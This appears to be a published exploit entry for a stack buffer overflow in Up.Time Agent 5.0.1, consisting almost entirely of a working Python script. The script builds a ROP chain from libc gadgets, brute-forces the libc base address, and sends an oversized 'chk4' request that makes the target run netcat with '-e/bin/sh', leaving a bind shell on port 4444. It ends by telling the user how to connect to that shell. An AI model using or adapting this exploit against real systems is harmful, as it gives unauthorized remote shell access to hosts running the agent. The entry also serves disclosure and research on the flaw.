# Exploit Title: Up.Time Agent 5.0.1 Stack Overflow
# Date: 28/11/2013
# Exploit Author: Denis Andzakovic
# Vendor Homepage: http://www.uptimesoftware.com/
# Version: 5.0.1
# Tested on: Debian 7 (Kernel 3.2.0), Kali (Kernel 3.7)
( , ) (,
. '.' ) ('. ',
). , ('. ( ) (
(_,) .'), ) _ _,
/ _____/ / _ \ ____ ____ _____
\____ \==/ /_\ \ _/ ___\/ _ \ / \
/ \/ | \\ \__( <_> ) Y Y \
/______ /\___|__ / \___ >____/|__|_| /
\/ \/.-. \/ \/:wq
(x.0)
'=.|w|.='
_=''"''=.
presents..
Uptime Agent 5.0.1 Stack Overflow Vulnerability
Affected versions: Uptime Agent 5.0.1 (i386)
PDF:
http://www.security-assessment.com/files/documents/advisory/Up.Time%20Agent%205.0.1%20Stack%20Overflow.pdf
#!/usr/bin/python
#
# Stack based buffer overflow in Up.Time Agent 5.0.1 (i386).
# This exploit will create a bind shell running on port
# 4444 on the targeted host.
#
# Author: Denis Andzakovic
# Date: 30/10/2013
#
import socket
import sys
import time
import argparse
from struct import pack
def copyBytes(string, location):
pcaret = 0xd8f30 # pop ecx ; pop eax ;;
movbyte = 0x29ecf # mov [eax] ecx ;;
chain = pack("<I",pcaret+libcOffset)
chain += str(string)
chain += pack("<I",location)
chain += pack("<I",movbyte+libcOffset)
return chain
def copyNullByte(location):
# NOTE: eax *MUST* be null before hitting this chain.
popedx = 0x1a9e # pop edx ;;
nullcpy = 0x11f98d # mov [edx] al ; pop ebx ;;
chain = pack("<I",popedx+libcOffset)
chain += pack("<I",location) # address of NULL
chain += pack("<I",nullcpy+libcOffset)
chain += "BEES" # padding
return chain
def sendSploit(ip, port, libcOffset):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
customstack = 0x0804d380
# gadgets!
pcaret = 0xd8f30 # pop ecx ; pop eax ;;
popebx = 0x78af4 # pop ebx ;;
movbyte = 0x29ecf # mov [eax] ecx ;;
xoreax = 0x796bf # xor eax eax ;;
popedx = 0x1a9e # pop edx ;;
pcdret = 0x2a6eb # pop ecx ; pop edx ;;
addeax = 0x7faa8 # add eax 0xb ;;
callsys = 0xa10f5 # call gs:[0x10] ;;
nullcpy = 0x11f98d # mov [edx] al ; pop ebx ;;
# We will be executing "/bin//nc -lp4444 -e/bin/sh" using execve.
# Arguments passed to execve will be loaded at our custom stack location
rop = copyBytes("/bin",customstack)
rop += copyBytes("//nc",customstack+4)
rop += copyBytes("-lp4",customstack+9)
rop += copyBytes("444A",customstack+13)
rop += copyBytes("-e/b",customstack+17)
rop += copyBytes("in/b",customstack+21)
rop += copyBytes("shAA",customstack+24)
# Set up the pointer array for execve()
rop += copyBytes(pack("<I",customstack),customstack+27)
rop += copyBytes(pack("<I",customstack+9),customstack+31)
rop += copyBytes(pack("<I",customstack+17),customstack+35)
# Set up Null bytes
rop += pack("<I",xoreax+libcOffset)
rop += copyNullByte(customstack+8)
rop += copyNullByte(customstack+16)
rop += copyNullByte(customstack+26)
rop += copyNullByte(customstack+39)
rop += copyNullByte(customstack+40)
rop += copyNullByte(customstack+41)
rop += copyNullByte(customstack+42)
# Load parameters into relevant registers and Call execve
rop += pack("<I",pcdret+libcOffset)
rop += pack("<I",customstack+27)
rop += pack("<I",customstack+39)
rop += pack("<I",popebx+libcOffset)
rop += pack("<I",customstack)
rop += pack("<I",xoreax+libcOffset)
rop += pack("<I",addeax+libcOffset)
rop += pack("<I",callsys+libcOffset)
rop += "AAAA"
djubre = "chk4 " + "A"*243
s.sendall(djubre + rop)
data = s.recv(1024)
s.close()
parser = argparse.ArgumentParser(description='Uptime Agent 5.0.1 CHK4 Buffer Overflow')
parser.add_argument('-d','--host', help="IP Address of target machine", required=True)
parser.add_argument('-p','--port', help="Port of target machine", required=True)
args = parser.parse_args()
spinnerChars = ["|","/","-","\\","|","/","-","\\"]
spinnerIndex = 0
print "[+] Attacking " + args.host + " on port " + args.port
libc= 0xb7000
for i in range(0x000,0xfff):
libcOffset = (libc+i)*0x1000
print spinnerChars[spinnerIndex] ," - Bruteforcing LibC Offset - ", hex(libcOffset)," \r",
sys.stdout.flush()
# 0xb7123 = 0xb7123000
sendSploit(args.host,int(args.port),libcOffset)
spinnerIndex = spinnerIndex+1
if(spinnerIndex == 8):
spinnerIndex = 0
print "\n[+] Completed! Access shell using 'nc <targethost> 4444'"
